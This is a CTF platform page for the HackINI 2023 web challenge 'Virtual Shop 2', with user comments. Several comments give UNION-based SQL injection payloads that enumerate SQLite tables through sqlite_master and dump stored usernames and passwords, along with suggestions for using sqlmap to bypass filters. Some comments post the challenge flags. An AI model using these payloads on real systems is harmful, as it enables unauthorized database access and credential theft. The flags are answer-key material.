Virtual Shop 2WEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2023
题目作者: 未知
一　　血: heyile
一血奖励: 0金币
解　　决: 242
提　　示:
描　　述:
I'm not making the same mistake again this time, you can't guess my\ \ tables now.\n \n\n **Author**: F100w
...
登录回复
评论
你不懂的吧 2月前
举报

3、查出具体表的字段： ' union SELECT pw789,null,null,null FROM UsEErrSS1337987 --+

回复 0
你不懂的吧 2月前
举报

1、查出表有哪些表： ' union SELECT name,null,null,null FROM sqlite_master WHERE type='table' ; 2、查出表有哪些列 ：' union SELECT sql,null,null,null FROM sqlite_master WHERE type='table' AND name='UsEErrSS1337987';

回复 1
smtall 3月前
举报

sqlmap使用hex编码提取数据（绕过限制）

回复 0
MoCaser 6月前
举报

我......我......我一把梭战神口牙！！

回复 0
wcsndm 10月前
举报

shellmates{iT_W4$_Not_TH4T_S3cuRE_4T_THe_END}

回复 0
t1tl3d 1年前
举报

shellmates{iT_W4$_Not_TH4T_S3cuRE_4T_THe_END}

回复 0
lq61618 1年前
举报

shellmates{Gg_b0Y_you_kNOW_w3ll_H0w_T0_uSe_uNiOn_4tTacK}

回复 0
xiaobai568 1年前
举报

我写了个WP，描述了手工注入的过程

回复 0
啊这这 1年前
举报

我的sqlmap没跑出来 用的level3 不过我花了十几分钟学了一下sqlite使用 做出来了 还是不错的

回复 0
xiaoxiao972521 1年前
举报

不晓得，sqlmap一把过

回复 0
justsosoloveyou 1年前
举报

' UNION SELECT (select group_concat(sql) from sqlite_master WHERE type='table'),NULL,NULL,(select group_concat(usnme324||':'||pw789) FROM UsEErrSS1337987)--+

回复 0

WriteUp

image
sanshi

1 金币

立即查看

评分(0)

暂无评分

解题动态

孙燕姿圈外男友 攻破了该题 2天前
tdwj 攻破了该题 4天前
5032894 攻破了该题 5天前
daqindiguo 攻破了该题 5天前
tcqctf 攻破了该题 6天前
2845985939 攻破了该题 6天前
NiceNorth 攻破了该题 8天前
数据恢复 攻破了该题 10天前
zdevelop 攻破了该题 11天前
1840788830 攻破了该题 11天前
Susen 攻破了该题 18天前
LondonBA 攻破了该题 28天前
1833284 攻破了该题 1月前
15031888502 攻破了该题 1月前
459286939 攻破了该题 1月前
tyxr2015 攻破了该题 1月前
csk723 攻破了该题 1月前
frankptp 攻破了该题 1月前
林lin1318 攻破了该题 1月前
xiongh 攻破了该题 1月前
问题反馈